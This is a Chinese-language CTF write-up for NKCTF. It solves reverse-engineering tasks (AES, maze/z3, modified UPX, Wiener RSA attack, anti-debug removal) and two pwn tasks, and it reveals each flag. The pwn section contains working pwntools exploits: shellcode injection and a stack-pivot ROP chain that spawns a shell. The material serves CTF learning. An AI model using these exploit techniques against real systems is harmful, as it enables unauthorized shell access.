Reverse

try_decrypt_me

一道安卓逆向;

jadx打开查看其MainActivity:

Android

最上面的函数说明主要逻辑就是用了一个AES加密输入内容;

最下面的图说明其采用的AES模式;

而中间说明其传入的密钥是字符串 reversehavemagic 进行了md5加密,且该加密有偏移量iv;

问题出现在最后的字符串比较上,这个r4点不开;

怎么拿到比较字符串呢?

按TAB打开汇编界面,找到比较的对应行数50,之后可看到它实际上是将 secret字段传入了r4里,现在直接搜索secret便可看到一串由base64加密的字符串,这说明经过AES加密后还进行了base64编码,因为字符不可见;

find_secret

那么此时就有密文:secretbase64解码后的hex;

密钥:reversehavemagic MD5加密后的hex组成的字串;

偏移量iv:r3v3rs3car3fully;

将这些数据直接写进在线网址的AES解密里便可拿到flag:

NKCTF{nI_k@i_sHi_zhu_j1an_il_Jie_RE_le}

PMKF

打开IDA:

发现是读取C盘下的一个叫做nk.ctf里的二进制文件;

用里面的数据来加工之后对比数据;

可以看出开头的6个数据为(byte_405100为nkman)

\x05nkman

main

可以发现后面的数据都是进行了迷宫操作:(左图操作数据移动)(右上判断撞墙或者赢)

maze

首先将读入的数据异或后以byte进行>>k & 3的运算;然后根据其为0,1,2,3进行上下左右的移动,因为是+=18 -=18的缘故,这个迷宫数组(右下图)可以用每行18来对齐,之后可以很容易找出迷宫的移动轨迹,顺势推出0123的组合:

1122332212232211011111010000010112110111222323303323221111122333

调试可以得到异或的v11是个固定的数据:21;

则可写出python脚本用z3求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from z3 import *

s = Solver()

ans = [BitVec('ans[%d]' % i,32) for i in range(16)]

aim = '1122332212232211011111010000010112110111222323303323221111122333'

k = 0

for i in range(16):
xored = ans[i] ^ 21
for j in range(6,-1,-2):
s.add((xored >> j) & 3 == ord(aim[k]) - 48)
k += 1

if s.check() == sat:
print(s.model())

#得到ans之后再跑一遍如下得到16个hex
ans = [0] * 16

ans[10] = 190
ans[0] = 79
ans[14] = 67
ans[4] = 0
ans[1] = 239
ans[11] = 169
ans[2] = 126
ans[13] = 176
ans[8] = 112
ans[12] = 238
ans[5] = 68
ans[3] = 176
ans[15] = 170
ans[6] = 21
ans[9] = 0
ans[7] = 4

for i in ans:
if i < 16:
print('0%x' % i,end='')
else:
print("%x" % i,end='')

flag要求包裹nk.ctf里的十六进制内容,则flag:

nkctf{056e6b6d616e4fef7eb0004415047000bea9eeb043aa}

not_a_like

打开之后可以很清楚的发现这是upx打包之后的结果,函数太少了,结构也和upx很像;

但是直接用upx -d是没办法解开的,猜测是更改了upx标识码;

010editor打开搜索upx:

会发现如下有很多大小写共存的upx,但直接改写会导致这个程序错误;

upx

自实现一个标准的upx加密,对照着来看,可以发现,正规upx加密的一个区域里有 UPX0 UPX1 UPX2;

自然可以在这道题里找到对应的区域,只是这里的UPX标志都被改成0了;写回去之后便可用upx -d脱壳了;

注意只改UPX0-3,不要直接复制会有问题;

之后再打开ida查看,会发现有很多py函数,推测这是python打包的exe,于是又用pyinstxtractor来解包,很幸运没有key参;最后从pyc使用uncompyle6变为原始的py文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.8.10 (tags/v3.8.10:3d8993a, May 3 2021, 11:48:03) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: not_a_like.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
import libnum, base64, hashlib
from ctypes import *

def encrypt(text):
data_xor_iv = bytearray()
sbox = []
j = 0
x = y = k = 0
key = '911dcd09ad021d68780e3efed1aa8549'
for i in range(256):
sbox.append(i)
else:
for i in range(256):
j = j + sbox[i] + ord(key[(i % len(key))]) & 255
sbox[i], sbox[j] = sbox[j], sbox[i]
else:
for idx in text:
x = x + 1 & 255
y = y + sbox[x] & 255
sbox[x], sbox[y] = sbox[y], sbox[x]
k = sbox[(sbox[x] + sbox[y] & 255)]
data_xor_iv.append(idx ^ k)
else:
return data_xor_iv


if __name__ == '__main__':
flag = input('请输入flag> ')
pub_key = [19252067118061066631831653736874168743759225404757996498452383337816071866700225650384181012362739758314516273574942119597579042209488383895276825193118297972030907899188520426741919737573230050112614350868516818112742663713344658825493377512886311960823584992531185444207705213109184076273376878524090762327, 76230002233243117494160925838103007078059987783012242668154928419914737829063294895922280964326704163760912076151634681903538211391318232043295054505369037037489356790665952040424073700340441976087746298068796807069622346676856605244662923296325332812844754859450419515772460413762564695491785275009170060931]
m = libnum.s2n(flag)
c = str(pow(m, pub_key[0], pub_key[1]))
q = b'EeJWrgtF+5ue9MRiq7drUAFPtrLATlBZMBW2CdWHRN73Hek7DPVIYDHtMIAfTcYiEV87W7poChqpyUXYI3+/zf5yyDOyE9ARLfa5qilXggu60lmQzFqvFv+1uOaeI2hs2wx+QZtxqGZzC0VCVWvbTQ52nA2UdUtnk8VezRMPMfmf7rOqPxDTv/aacLnI3RdLG2TbT52qtN4+naejI7Xe8HLOL765OZKdDBERKwd5ARQ3UL6YPbuOKOQahIFddnIX6rZ7dTNqCUDOjfJbMdrzJVDNjmNlkLNtYFo7M65Wfwj6PV5vvtT33FsmH50/YLEasnlCiJujYOgi2KCdf5msz1dPEvrXDDL6Csnjo+6m/44RzlluzcqMS5ZJFdrHEh68LIqtu+HCO+69Dyq4e22APq8wgN9kU6R8kikXSn/Ej0N/jOvomFCbkHskRl8xP1KgWFW0SMVDlaDCM4EKG812VgDWgSYOUnVhVpz65uOtg4Z8PrPI+BW4398dQYhD24D9EIPgvtmhNrHiEHouB46ElTGQgZBhtn6y9tL1sw=='
v = encrypt(base64.b64encode(c.encode('utf-8')))
v = base64.b64encode(v)
if v == q:
print('You are right!')
input('')
else:
print('winer winer winnie dinner')
print('Do you think the encryption and decryption are the same?')
# okay decompiling not_a_like.pyc

先是使用rsa加密为一串数字c,然后把c编码base64进行rc4加密,之后再把加密后的v用base64编码,编码后的v与q数据进行比较;

一路逆回去,只有rsa卡住了一会儿,会发现rsa公钥中的n过大,不好分出p和q,但是e也过大,所以可以用维纳攻击;

在网上搜索维纳攻击脚本输入对应数据可以解出flag:

NKCTF{chinese_zhenghan}

babyrust

用ida打开查看可以说伪代码相当难看;

只有用字符串配合着汇编勉强可以看出端倪,且输入数字会产生异常,输入字符会回显一串字符串;

seek

可以发现要求输入长度为28,且该输入一一对应,这意味着可以采用按位爆破来解题;

且它给出了回显,那就更好办了,都不用patch,直接开子进程输入,之后接收回显比较对应字符串;

先试试吧,它题目给的fake gift比较一下看看结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import subprocess

real_flag=''
cur_index=0 #当前爆破的位置
aim = b")&n_qFb'NZXpj)*bLDmLnVj]@^_H" #给的gift

while cur_index<28:
for i in range(32,128): #当前爆破的位置上的字符
real_flag_arr = [0] * 28

for j in range(len(real_flag_arr)-1,cur_index,-1): #除了当前爆破的位置,其他位置 上都设置为 空格
real_flag_arr[j]=32

real_flag_arr[cur_index]=i #设置当前爆破的位置上的字符
real_flag_arr_s="".join(chr(k) for k in real_flag_arr) #输入到程序中的字符串
p = subprocess.Popen(["C:\\Users\\Second_BC\\Desktop\\babyrust.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p.stdin.write(real_flag_arr_s.encode())
p.stdin.close()
#接收输出,第134个刚刚为括号字串
out = p.stdout.read()[134:]

#判断有无返回(只有字符会返回,其他会异常,但也返回一些printf,只是不返回那串括号字串)
if len(out) != 0:
if out[cur_index] == aim[cur_index]:
real_flag += chr(i)
cur_index += 1
print(real_flag)
break

狠狠地爱一一对应关系的逆向,直接就爆出flag:

NKCTF{WLcomE_NOWayBaCk_RuST}

earlier

两个文件,一个exe一个dll;

先用ida查看exe,可以发现其很难看:

main_0

直接搜索字符串是找不到的,dll里也找不到,猜测是被加密隐藏了;

直接调会直接闪退,看到export表里面的tls回调函数就知道是怎么一回事了;

tls一般用于共享内存的多线程处理,但其回调函数是会提前在main之前执行的,所以可以把反调试的内容放里面;

进去之后看着也是依托答辩:

dabian

可以看到最下面是出现了退出进程的,这说明确实反调试就在这一坨,但是上面出现了call坏地址,也同时有短距离的无用跳转;

可以想到出现了花指令在混淆;

修复之后:

fixed

顺便也把tlscallback_1_0的也修了,就可以发现有三种反调试: IsDebuggerPresent,NtSetInformationThread,NtQueryInformationProcess;

把对应的地方改了,比如右上图的if(result)改成了if(!result),下面也同样如此;

此时就可以调试到main里去了;

然后main中的三个函数前半段是可以看出逻辑的,但后半段就全部乱了;

image.png

但他们三个有共同的特点,在有逻辑的代码段里都调用了同一个函数,把这个函数去花可得到右图;

而去逆dll可以发现它调用的这两个函数的作用就是把原程序里的这三个函数无逻辑的地方进行异或运算;

计算完之后就变成正常的函数了,也可以发现之前运行时的字符串了;

具体逻辑即为rc4加密;进行解密后得到flag:

nkctf{y0u_are_so_clever_f0r_debug_enc0de!}

Pwn

ez_shellcode

shellcode

可以发现这个read函数能很容易的实现栈溢出,因为buf距离rbp只有70h,但允许读入100h;

这个rand实则是个伪随机,默认每次都为一个固定的值,84;

且输入的内容会被复制到buf2缓冲区上,这个缓冲区在bss段上,此题的bss段是可执行区段,且该题已经直接就把buf2当成函数用了;

但不能直接输入垃圾代码填充前半段,因为构造的shellcode至少都有40位的长度,buf2缓冲区可没这么长;

所以要在最开始写入shellcode,然后在执行buf2[v6]的地方写进jmp指令,跳转回buf2[0]的地方执行shellcode;

Exp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

#别忘了加,不加默认下面构造shellcode是以32位来的
context(os="linux", arch="amd64")

p = process('./pwn')

shellcode = asm(shellcraft.sh())

#后面的一坨jmp偏移可调试获得
payload = shellcode.ljust(84,b'a') + b'\xe9\xa7\xff\xff\xff'
p.sendline(payload)

p.interactive()

story

左图为main函数;

image.png

可发现在warning函数中可以拿到puts地址,heart中可实现栈溢出,其他三个函数都是可在bss段上分别写入8字节的内容;

同时可以知道heart函数栈溢出的位数太少了,只够return的位数:0x20-0xA-8 = 0xE(8 + 6);

所以想到用栈迁移来弥补覆盖过少的缺点,而构造的提权payload可以就放在bss段的ao上,刚好24个字节3个内容分别为:

  1. pop_rdi_ret;
  2. bin_sh_addr;
  3. system_addr;

因为是64位程序,需要用rdi寄存器来传入参数;

pop rdi;retn;这串指令可以在csu上找得到,pop r15 的机械码是 41 5F,而5F对应的就是 pop rdi;

bin_sh和system可以用puts函数地址计算偏移获得;

栈迁移目标地址就是ao,二次leave指令可以就选在heart函数上,它本身就自带leave;

Exp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

#把格式化输出的地址转化为int类型的函数
def calcan(bcannary):
i = 0
j = 0
for i in range(len(bcannary)):
if(bcannary[i] == 10):
break

new_c = [0] * i
for j in range(i):
new_c[i - j - 1] = bcannary[j]

j -= 2
can = 0
for i in range(j+1):
if (new_c[i] > 47) & (new_c[i] < 60):
can += pow(16,i) * (new_c[i] - 48)
elif (new_c[i] > 96) & (new_c[i] < 103):
can += pow(16,i) * (new_c[i] - 87)

return can

#开始
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc

puts = elf.plt['puts']
puts_g = elf.got['puts']

#先走4拿puts地址
payload = b'4'
p.sendlineafter("\n1.acm\n2.ctf\n3.love\n4.heart\n> \n",payload)
r = p.recv()[83:100]
puts_addr = calcan(r)

#计算出system函数和binsh地址,以及ROPgadget找出的pop rdi;retn的地址
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
pop_rdi_ret = 0x401573
sleep(1)

#按地址顺序写入需要payload提权的内容
payload = b'2'
p.sendline(payload)
p.sendline(p64(pop_rdi_ret))
sleep(1)

payload = b'1'
p.sendline(payload)
p.sendline(p64(binsh_addr))
sleep(1)

payload = b'3'
p.sendline(payload)
p.sendline(p64(system_addr))
sleep(1)

#进入heart函数
payload = b'4'
p.sendline(payload)
sleep(1)

#aim即为 ao 地址,leave为ida找出heart自身的leave指令地址
aim = 0x4050A0
leave = 0x40139E
payload = b'a'*10 + p64(aim-8) + p64(leave)
p.sendlineafter("now, come and read my heart...\n",payload)
p.interactive()